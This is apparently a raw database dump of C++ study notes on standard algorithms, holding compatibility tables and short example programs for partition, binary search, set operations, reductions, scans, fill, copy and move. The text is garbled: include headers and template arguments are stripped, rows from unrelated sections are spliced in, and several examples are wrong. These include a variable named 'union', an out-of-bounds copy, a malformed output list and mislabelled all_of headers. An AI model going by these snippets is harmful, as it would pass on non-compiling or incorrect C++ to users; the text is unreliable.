which the predicate evaluated to true will precede elements for which the predicate evaluated to false.\nThis behaviour can be undesirable, for example, for UI elements. text txt 2024-07-28 09:59:57.385034 0 +1558 351 The `std::stable_partition` algorithm adds the guarantee of preserving the relative order of elements in both partitions. text txt 2024-07-28 09:59:57.405462 0 +1559 351 auto& widget = get_widget();\nstd::ranges::stable_partition(widget.items, &Item::is_selected); code txt 2024-07-28 09:59:57.426325 0 +1560 352 | feature | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:57.98109 0 +1561 352 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:58.001804 0 +1562 352 int main()\n{\n std::vector series{2, 4, 6, 7, 9, 11};\n auto is_even = [](auto v) { return v % 2 == 0; };\n bool test = std::ranges::is_partitioned(series, is_even);\n assert(test); // test = true\n} code txt 2024-07-28 09:59:58.023861 0 +1563 353 | feature | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:58.720351 0 +1564 353 The `std::partition_copy` is a variant of `std::partition` that, instead of reordering elements, will output the partitioned elements to the two output ranges denoted by two iterators. text txt 2024-07-28 09:59:58.741308 0 +1565 353 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:58.76125 0 +1566 353 int main()\n{\n std::vector series{2, 4, 6, 7, 9, 11};\n auto is_even = [](auto v) { return v % 2 == 0; }; text txt 2024-07-28 09:59:58.781768 0 +1567 353 std::vector evens, odds;\n std::ranges::partition_copy(series, std::back_inserter(evens), std::back_inserter(odds), is_even); text txt 2024-07-28 09:59:58.802314 0 +1568 353 assert(evens.size() == 3);\n assert(odds.size() == 3);\n} code txt 2024-07-28 09:59:58.822777 0 +1569 354 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:59.533331 0 +1570 354 The `std::nth_element` algorithm is a partitioning algorithm that ensures that the element in the nth position is the element that would be in this position if the range was sorted. text txt 2024-07-28 09:59:59.554684 0 +1571 354 #include \n#include \n#include text txt 2024-07-28 09:59:59.575881 0 +2403 552 template\nclass Stack; text txt 2024-07-28 10:02:13.571001 0 +1572 354 int main()\n{\n std::vector series1{6, 3, 5, 1, 2, 4};\n std::vector series2{series1}; text txt 2024-07-28 09:59:59.597925 0 +1573 354 std::nth_element(series1.begin(), std::next(series1.begin(), 2), series1.end());\n // 1 2 3 5 6 4 text txt 2024-07-28 09:59:59.618599 0 +1574 354 std::nth_element(series2.begin(), std::next(series2.begin(), 2), series2.end(), std::greater{});\n // 5 6 4 3 2 1\n} code txt 2024-07-28 09:59:59.638919 0 +1575 354 Because of its selection/partitioning nature, `std::nth_element` offers a better theoretical complexity than `std::partial_sort` - `O(n)` vs `O(n ∗ logk)`.\nHowever, note that the standard only mandates average `O(n)` complexity, and `std::nth_element` implementations can have high overhead, so always test to determine which provides better performance for your use case. text txt 2024-07-28 09:59:59.66111 0 +1576 355 | `std::lower_bound` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:01.080343 0 +1577 355 | `std::upper_bound` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:01.101529 0 +1578 355 The two algorithms differ in which bound they return: text txt 2024-07-28 10:00:01.123432 0 +1579 355 * The `std::lower_bound` returns the first element for which `element < value` returns `false`.\n* The `std::upper_bound` returns the first element for which `value < element`.\n* If no such element exists, both algorithms return the end iterator. text txt 2024-07-28 10:00:01.145088 0 +1580 355 #include \n#include \n#include text txt 2024-07-28 10:00:01.166627 0 +1581 355 struct ExamResult\n{\n std::string student_name;\n int score;\n}; text txt 2024-07-28 10:00:01.18795 0 +1582 355 int main()\n{\n std::vector results{{"Jane", 65}, {"Maria", 80}, {"Liz", 70}, {"David", 90}, {"Paula", 70}};\n std::ranges::sort(results, std::less{}, &ExamResult::score); text txt 2024-07-28 10:00:01.209114 0 +1583 355 auto lower = std::ranges::lower_bound(results, 70, {}, &ExamResult::score);\n // lower.score == 70\n auto upper = std::ranges::upper_bound(results, 70, {}, &ExamResult::score);\n // upper.score == 80\n} code txt 2024-07-28 10:00:01.230706 0 +1584 355 While both algorithms will operate on any `forward_range`, the logarithmic divide and conquer behavior is only available for `random_access_range`. text txt 2024-07-28 10:00:01.250684 0 +1585 355 Data structures like `std::set`, `std::multiset`, `std::map`, `std::multimap` offer their `O(log N)` implementations of lower and upper bound as methods. text txt 2024-07-28 10:00:01.272389 0 +1586 355 #include \n#include text txt 2024-07-28 10:00:01.292893 0 +1587 355 int main()\n{\n std::multiset data{1,2,3,4,5,6,6,6,7,8,9}; text txt 2024-07-28 10:00:01.313681 0 +1588 355 auto lower = data.lower_bound(6);\n // std::distance(data.begin(), lower) == 5 text txt 2024-07-28 10:00:01.333694 0 +1589 355 auto upper = data.upper_bound(6);\n // std::distance(data.begin(), upper) == 8\n} code txt 2024-07-28 10:00:01.354447 0 +1590 356 | `std::equal_range` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:01.922859 0 +1591 356 #include \n#include text txt 2024-07-28 10:00:01.943302 0 +1592 356 int main()\n{\n std::vector data{1,2,3,4,5,6,6,6,7,8,9}; text txt 2024-07-28 10:00:01.964237 0 +1593 356 auto [lower, upper] = std::equal_range(data.begin(), data.end(), 6);\n // std::distance(data.begin(), lower) == 5\n // std::distance(data.begin(), upper) == 8\n} code txt 2024-07-28 10:00:01.985111 0 +1594 357 | `std::partition_point` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:02.534797 0 +1595 357 Despite the naming, `std::partition_point` works very similaryly to `std::upper_bound`, however instead of searching for a particular value, it searches using a predicate. text txt 2024-07-28 10:00:02.555253 0 +1596 357 #include \n#include text txt 2024-07-28 10:00:02.576703 0 +1597 357 int main()\n{\n std::vector data{1,2,3,4,5,6,6,6,7,8,9};\n auto point = std::partition_point(data.begin(), data.end(), [](long v) { return v < 6; });\n // std::distance(data.begin(), point) = 5\n} code txt 2024-07-28 10:00:02.597623 0 +1598 358 | `std::binary_search` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:03.252649 0 +1599 358 This function checks whether the requested value is present in the sorted range or not. text txt 2024-07-28 10:00:03.272886 0 +1600 358 #include \n#include \n#include text txt 2024-07-28 10:00:03.294354 0 +1601 358 int main()\n{\n std::vector data{1,2,3,4,5,6};\n std::binary_search(data.begin(), data.end(), 4);\n // true\n std::ranges::binary_search(data, 4);\n // true\n} code txt 2024-07-28 10:00:03.315904 0 +1602 358 `std::binary_search` is equivalent to calling `std::equal_range` and checking whether the returned is non-empty; however, `std::binary_search` offers a single lookup performance, where `std::equal_range` does two lookups to determine the lower and upper bounds. text txt 2024-07-28 10:00:03.337138 0 +1603 359 | `std::includes` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:03.855283 0 +1604 359 #include \n#include \n#include text txt 2024-07-28 10:00:03.87587 0 +1605 359 int main()\n{\n std::ranges::includes({1,2,3,4,5}, {3,4});\n // true\n} code txt 2024-07-28 10:00:03.896533 0 +1606 360 | `std::merge` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:04.694278 0 +1607 360 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:04.715084 0 +1608 360 int main()\n{\n std::map data1{{1, "first"}, {2, "first"}, {3, "first"}};\n std::map data2{{0, "second"}, {2, "second"}, {4, "second"}};\n std::vector> result1, result2;\n auto compare = [](auto const& left, auto const& right) { return left.first < right.first; }; text txt 2024-07-28 10:00:04.735771 0 +1609 360 std::ranges::merge(data1, data2, std::back_inserter(result1), compare);\n std::ranges::for_each(result1, [](auto const& p) { std::cout << "{" << p.first << ", " << p.second << "} "; });\n std::cout << "\\\\n"; text txt 2024-07-28 10:00:04.756341 0 +1610 360 std::merge(std::execution::par_unseq, data1.begin(), data1.end(), data2.begin(), data2.end(), std::back_inserter(result2), compare);\n std::ranges::for_each(result2, [](auto const& p) { std::cout << "{" << p.first << ", " << p.second << "} "; });\n std::cout << "\\\\n";\n} code txt 2024-07-28 10:00:04.777928 0 +1611 361 | `std::inplace_merge` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:05.272163 0 +1612 361 #include \n#include text txt 2024-07-28 10:00:05.29364 0 +1997 465 function(static_cast(object) code txt 2024-07-28 10:01:14.256745 0 +3615 855 code txt 2024-07-28 10:05:15.175076 0 +1613 361 int main()\n{\n std::vector range{1,3,5,2,4,6};\n std::inplace_merge(range.begin(), range.begin()+3, range.end());\n // range == {1,2,3,4,5,6}\n} code txt 2024-07-28 10:00:05.314568 0 +1614 362 | `std::unique` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:06.136037 0 +1615 362 | `std::unique_copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:06.157292 0 +1616 362 #include \n#include \n#include text txt 2024-07-28 10:00:06.177827 0 +1617 362 int main()\n{\n std::vector range1{1,2,2,3,3,3,4,4,4,4,5,5,5,5,5};\n std::vector range2{range1}; text txt 2024-07-28 10:00:06.197264 0 +1618 362 auto last = std::unique(range1.begin(), range1.end());\n range1.resize(std::distance(range1.begin(), last));\n // range1 == {1,2,3,4,5}; text txt 2024-07-28 10:00:06.217751 0 +1619 362 std::vector result;\n std::ranges::unique_copy(range2, std::back_inserter(result));\n // range2 is untouched\n // result == {1,2,3,4,5};\n} code txt 2024-07-28 10:00:06.238749 0 +1620 363 | `std::set_difference` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:06.800203 0 +1621 363 #include \n#include text txt 2024-07-28 10:00:06.821592 0 +1622 363 int main()\n{\n std::vector data1{1,3,5,7,9};\n std::vector data2{3,4,5,6,7};\n std::vector difference;\n std::ranges::set_difference(data1, data2, std::back_inserter(difference));\n // difference == {1,9};\n} code txt 2024-07-28 10:00:06.843767 0 +1623 364 | `std::set_symmetric_difference` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:07.400163 0 +1624 364 #include \n#include text txt 2024-07-28 10:00:07.419674 0 +1625 364 int main()\n{\n std::vector data1{1,3,5,7,9};\n std::vector data2{3,4,5,6,7};\n std::vector symmetric_difference;\n std::ranges::set_symmetric_difference(data1, data2, std::back_inserter(symmetric_difference));\n // symmetric_difference == {1,4,6,9};\n} code txt 2024-07-28 10:00:07.441238 0 +1626 365 | `std::set_union` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:08.010115 0 +1627 365 #include \n#include text txt 2024-07-28 10:00:08.031409 0 +1628 365 int main()\n{\n std::vector data1{1,3,5,7,9};\n std::vector data2{3,4,5,6,7};\n std::vector union;\n std::ranges::set_union(data1, data2, std::back_inserter(union));\n // union == {1,3,4,5,6,7,9}\n} code txt 2024-07-28 10:00:08.05293 0 +1629 366 | `std::set_intersection` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:08.625306 0 +1630 366 #include \n#include text txt 2024-07-28 10:00:08.644888 0 +1631 366 int main()\n{\n std::vector data1{1,3,5,7,9};\n std::vector data2{3,4,5,6,7};\n std::vector intersection;\n std::ranges::set_intersection(data1, data2, std::back_inserter(intersection));\n // intersection == {3,5,7}\n} code txt 2024-07-28 10:00:08.665258 0 +1632 367 | `std::transform` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:09.390305 0 +1633 367 #include \n#include text txt 2024-07-28 10:00:09.411221 0 +1634 367 int main()\n{\n std::vector range{1,1,1,1,1}; text txt 2024-07-28 10:00:09.431644 0 +1635 367 // unary version\n std::transform(range.begin(), range.end(), range.begin(), [](long e) { return e + 1; });\n // {2,2,2,2,2}\n std::transform(range.begin(), range.end(), range.begin(), range.begin(), [](long left, long right) { return left + right; });\n // {4,4,4,4,4} text txt 2024-07-28 10:00:09.453033 0 +1636 367 // binary version\n std::ranges::transform(range, range.begin(), [](long e) { return e / e; });\n // {1,1,1,1,1}\n std::ranges::transform(range, range, range.begin(), [](long left, long right) { return left + right; });\n // {2,2,2,2,2}\n} code txt 2024-07-28 10:00:09.473801 0 +1637 368 | `std::remove` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:09.999021 0 +1638 368 #include \n#include text txt 2024-07-28 10:00:10.019599 0 +1639 368 int main()\n{\n std::vector range{1,2,3,4,5};\n auto last = std::remove(range.begin(), range.end(), 3);\n range.erase(last, range.end());\n} code txt 2024-07-28 10:00:10.040533 0 +1640 369 | `std::remove_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:10.589465 0 +1641 369 #include \n#include text txt 2024-07-28 10:00:10.610141 0 +1642 369 int main()\n{\n std::vector range{1,2,3,4,5};\n auto last = std::remove_if(range.begin(), range.end(), [limit=4](long v) { return v > limit; });\n range.erase(last, range.end());\n} code txt 2024-07-28 10:00:10.630715 0 +1643 370 | `std::replace` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:11.176005 0 +1644 370 #include \n#include text txt 2024-07-28 10:00:11.197611 0 +1645 370 int main()\n{\n std::vector range{1,2,1,2,1};\n std::ranges::replace(range, 2, 0);\n // {1,0,1,0,1}\n} code txt 2024-07-28 10:00:11.218291 0 +1646 371 | `std::replace_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:11.755233 0 +1647 371 #include \n#include text txt 2024-07-28 10:00:11.776801 0 +1648 371 int main()\n{\n std::vector range{1,2,1,2,1};\n std::ranges::replace_if(range, [](long v) { return v > 1; }, 0);\n // {1,0,1,0,1}\n} code txt 2024-07-28 10:00:11.798208 0 +1649 372 | `std::reverse` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:12.336444 0 +1650 372 #include \n#include text txt 2024-07-28 10:00:12.356746 0 +1651 372 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::reverse(range);\n // {5,4,3,2,1}\n} code txt 2024-07-28 10:00:12.377057 0 +1652 373 | `std::rotate` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:12.995184 0 +1653 373 #include \n#include \n#include text txt 2024-07-28 10:00:13.015282 0 +1654 373 int main()\n{\n std::vector range{1,2,3,4,5}; text txt 2024-07-28 10:00:13.035539 0 +1655 373 std::rotate(range.begin(), std::next(range.begin(), 3), range.end());\n // {4,5,1,2,3} text txt 2024-07-28 10:00:13.057001 0 +1656 373 std::ranges::rotate(range, std::next(range.begin(), 2));\n // {1,2,3,4,5}\n} code txt 2024-07-28 10:00:13.078133 0 +1657 374 | `std::shift_left` | standard |\n| --- | --- |\n| introduced | C++20 |\n| paralllel | C++20 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:13.8283 0 +2404 552 template\nclass Stack; text txt 2024-07-28 10:02:13.591926 0 +1658 374 | `std::shift_right` | standard |\n| --- | --- |\n| introduced | C++20 |\n| paralllel | C++20 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:13.849121 0 +1659 374 #include \n#include text txt 2024-07-28 10:00:13.868793 0 +1660 374 int main()\n{\n std::vector range{1,2,3,4,5}; text txt 2024-07-28 10:00:13.890418 0 +1661 374 std::shift_left(range.begin(), range.end(), 3);\n // {4,5,N,N,N} text txt 2024-07-28 10:00:13.910912 0 +1662 374 std::shift_right(range.begin(), range.end(), 3);\n // {N,N,N,4,5}\n} code txt 2024-07-28 10:00:13.932444 0 +1663 375 | `std::shuffle` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | N/A |\n| rangified | C++20 | text txt 2024-07-28 10:00:14.519129 0 +1664 375 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:14.539674 0 +1665 375 int main()\n{\n std::vector range{1,2,3,4,5};\n std::random_device rd{};\n std::mt19937 generator{rd()};\n std::ranges::shuffle(range, generator);\n} code txt 2024-07-28 10:00:14.559971 0 +1666 376 | `std::next_permutation` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:15.181148 0 +1667 376 #include \n#include \n#include text txt 2024-07-28 10:00:15.201915 0 +1668 376 int main()\n{\n std::vector range{1,2,3};\n // range == {1,2,3};\n std::next_permutation(range.begin(), range.end());\n // range == {1,3,2};\n std::prev_permutation(range.begin(), range.end());\n // range == {1,2,3};\n} code txt 2024-07-28 10:00:15.224018 0 +1669 377 | `std::is_permutation` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:15.760102 0 +1670 377 #include \n#include \n#include text txt 2024-07-28 10:00:15.781326 0 +1671 377 int main()\n{\n std::vector range1{1,2,3}, range2{1,3,2};\n std::ranges::is_permutation(range1, range2);\n // true\n} code txt 2024-07-28 10:00:15.80302 0 +1672 378 | `std::accumulate` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:16.428256 0 +1673 378 #include \n#include text txt 2024-07-28 10:00:16.44945 0 +1674 378 int main()\n{\n std::vector range{1,2,3}; text txt 2024-07-28 10:00:16.469584 0 +1675 378 auto sum = std::accumulate(range.begin(), range.end(), 0);\n // sum == 6 text txt 2024-07-28 10:00:16.491023 0 +1676 378 auto product = std::accumulate(range.begin(), range.end(), 1, std::multiplies{});\n // product == 6\n} code txt 2024-07-28 10:00:16.511329 0 +1677 379 | `std::inner_product` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:17.198419 0 +1678 379 #include \n#include \n#include text txt 2024-07-28 10:00:17.21892 0 +1679 379 int main()\n{\n std::vector widths{1,1,1,1,1};\n std::vector heights{2,2,2,2,2}; text txt 2024-07-28 10:00:17.239993 0 +1680 379 auto sum_area = std::inner_product(widths.begin(), widths.end(), heights.begin(), 0);\n // sum_area == 10 text txt 2024-07-28 10:00:17.260792 0 +1681 379 std::vector range{6,4,3,7,2,1};\n auto sum_diffs = std::inner_product(range.begin(), range.end(), std::next(range.begin()), 0, std::plus{}, [](long l, long r) { return std::abs(l-r); });\n // sum_diffs == 14\n} code txt 2024-07-28 10:00:17.281642 0 +1682 380 | `std::partial_sum` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:17.909974 0 +1683 380 #include \n#include \n#include text txt 2024-07-28 10:00:17.930707 0 +1684 380 int main()\n{\n std::vector range(5,1);\n std::partial_sum(range.begin(), range.end(), range.begin());\n // range == {1,2,3,4,5} text txt 2024-07-28 10:00:17.950946 0 +1685 380 std::vector output;\n std::partial_sum(range.begin(), range.end(), std::back_inserter(output), std::multiplies{});\n // output == {1,2,6,24,,120}\n} code txt 2024-07-28 10:00:17.971853 0 +1686 381 | `std::adjacent_difference` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:18.681796 0 +1687 381 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:18.703413 0 +1688 381 int main()\n{\n std::vector range{1,2,3,4,5};\n std::adjacent_difference(range.begin(), range.end(), range.begin());\n // range == {1,1,1,1,1} text txt 2024-07-28 10:00:18.724712 0 +1689 381 std::adjacent_difference(std::execution::par_unseq, range.begin(), range.end(), range.begin());\n // range == {1,1,1,1,1} text txt 2024-07-28 10:00:18.74595 0 +1690 381 std::vector fibonacci(10,1);\n std::adjacent_difference(fibonacci.begin(), std::prev(fibonacci.end()), std::next(fibonacci.begin()), std::plus());\n // fibonacci == {1,1,2,3,5,8,13,21,34,55}\n} code txt 2024-07-28 10:00:18.767204 0 +1691 382 | `std::reduce` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:19.375617 0 +1692 382 #include \n#include \n#include text txt 2024-07-28 10:00:19.39555 0 +1693 382 int main()\n{\n std::vector range{1,2,3,4,5};\n long sum = std::reduce(range.begin(), range.end(), 0);\n // sum == 15 text txt 2024-07-28 10:00:19.417273 0 +1694 382 long multiplies = std::reduce(range.begin(), range.end(), 1, std::multiplies{});\n // sum == 120\n} code txt 2024-07-28 10:00:19.43981 0 +1695 383 | `std::transform_reduce` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:19.950778 0 +1696 383 #include \n#include \n#include text txt 2024-07-28 10:00:19.972586 0 +1697 383 int main()\n{\n std::vector range{1,2,3,4,5};\n long sum = std::transform_reduce(range.begin(), range.end(), 0, std::plus{}, [](long e) { return e * 2; });\n // sum == 30\n} code txt 2024-07-28 10:00:19.994402 0 +1698 384 | `std::inclusive_scan` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:20.779794 0 +1699 384 | `std::exclusive_scan` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:20.800813 0 +1700 384 #include \n#include \n#include text txt 2024-07-28 10:00:20.822641 0 +1701 384 int main()\n{\n std::vector range{1,2,3,4,5};\n std::vector inclusive;\n std::inclusive_scan(range.begin(), range.end(), std::back_inserter(inclusive));\n // range == {1 3 6 10 15} text txt 2024-07-28 10:00:20.844166 0 +1702 384 std::vector exclusive;\n std::exclusive_scan(range.begin(), range.end(), std::back_inserter(exclusive), 0);\n // range == {0 1 3 6 10}\n} code txt 2024-07-28 10:00:20.864794 0 +1703 385 | `std::transform_inclusive_scan` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:21.600881 0 +3045 721 std::size_t size() const { return S; }\n}; text txt 2024-07-28 10:03:53.903695 0 +1704 385 | `std::transform_exclusive_scan` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:21.621807 0 +1705 385 #include \n#include \n#include text txt 2024-07-28 10:00:21.642062 0 +1706 385 int main()\n{\n std::vector range{1,2,3,4,5};\n std::vector inclusive;\n std::transform_inclusive_scan(range.begin(), range.end(), std::back_inserter(inclusive), std::plus<>{});\n std::transform_inclusive_scan(range.begin(), range.end(), std::back_inserter(inclusive), std::plus<>{}, [](long v) { return std::abs(v); }); text txt 2024-07-28 10:00:21.663331 0 +1707 385 std::vector exclusive;\n std::transform_exclusive_scan(range.begin(), range.end(), std::back_inserter(exclusive), 0);\n std::transform_exclusive_scan(range.begin(), range.end(), std::back_inserter(exclusive), 0, std::plus<>{}, [](long v) { return std::abs(v); });\n} code txt 2024-07-28 10:00:21.685047 0 +1708 386 | `std::all_of` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:22.246309 0 +1709 386 #include \n#include text txt 2024-07-28 10:00:22.266118 0 +1710 386 int main()\n{\n std::vector range{1,2,3}; text txt 2024-07-28 10:00:22.287561 0 +1711 386 std::ranges::all_of(range, [](long e) { return e > 0; });\n // all numbers are possitive: true\n} code txt 2024-07-28 10:00:22.308213 0 +1712 387 | `std::all_of` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:22.830523 0 +1713 387 #include \n#include text txt 2024-07-28 10:00:22.851682 0 +1714 387 int main()\n{\n std::vector range{1,2,3}; text txt 2024-07-28 10:00:22.872723 0 +1715 387 std::ranges::any_of(range, [](long e) { return e % 2 == 0; });\n // at least an even number exists: true\n} code txt 2024-07-28 10:00:22.893722 0 +1716 388 | `std::all_of` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:23.423429 0 +1717 388 #include \n#include text txt 2024-07-28 10:00:23.443665 0 +1718 388 int main()\n{\n std::vector range{1,2,3}; text txt 2024-07-28 10:00:23.465232 0 +1719 388 std::ranges::none_of(range, [](long e) { return e < 0; });\n // not any number is negative: true\n} code txt 2024-07-28 10:00:23.48643 0 +1720 389 | `std::fill` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:24.041653 0 +1721 389 #include \n#include \n#include text txt 2024-07-28 10:00:24.062935 0 +1722 389 int main()\n{\n std::vector range(5,0);\n std::ranges::fill(range, 1);\n // range == {1,1,1,1,1}\n} code txt 2024-07-28 10:00:24.083741 0 +1723 390 | `std::fill_n` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:24.651009 0 +1724 390 #include \n#include \n#include text txt 2024-07-28 10:00:24.672133 0 +1725 390 int main()\n{\n std::vector range(5,0);\n std::ranges::fill_n(range, 3, 1);\n // range == {1,1,1,0,0}\n} code txt 2024-07-28 10:00:24.69377 0 +1726 391 | `std::generate` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:25.231256 0 +1727 391 #include \n#include \n#include text txt 2024-07-28 10:00:25.251871 0 +1728 391 int main()\n{\n std::vector range(5,0);\n std::ranges::generate(range, []() { return 1; });\n // range == {1,1,1,1,1}\n} code txt 2024-07-28 10:00:25.272126 0 +1729 392 | `std::generate_n` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:25.798743 0 +1730 392 #include \n#include \n#include text txt 2024-07-28 10:00:25.818701 0 +1731 392 int main()\n{\n std::vector range(5,0);\n std::ranges::generate_n(range, 3, []() { return 1; });\n // range == {1,1,1,0,0}\n} code txt 2024-07-28 10:00:25.838181 0 +1732 393 | `std::iota` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++23 | text txt 2024-07-28 10:00:26.40426 0 +1733 393 #include \n#include \n#include text txt 2024-07-28 10:00:26.424838 0 +1734 393 int main()\n{\n std::vector range(5,0);\n std::ranges::iota(range, 1);\n std::ranges::copy(range, std::ostream_iterator(std::cout, " "));\n} code txt 2024-07-28 10:00:26.445923 0 +1735 394 | `std::copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:27.093163 0 +1736 394 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:27.1141 0 +1737 394 int main()\n{\n std::vector range{"a", "b", "c", "d", "e"};\n std::ranges::copy(range.begin(), std::next(range.begin(), 3), std::next(range.begin(), 3));\n // a b c a b c\n std::ranges::copy(std::next(range.begin()), std::end(range), std::begin(range));\n // b c a b c c\n} code txt 2024-07-28 10:00:27.135998 0 +1738 395 | `std::move` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:27.740516 0 +1739 395 Significantly, whether `std::move` will move depends on the underlying element type.\nIf the underlying type is copy-only, `std::move` will behave identically to `std::copy`. text txt 2024-07-28 10:00:27.762205 0 +1740 395 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:27.782822 0 +1741 395 int main()\n{\n std::vector range{"a", "b", "c", "d", "e"};\n std::ranges::move(range.begin(), 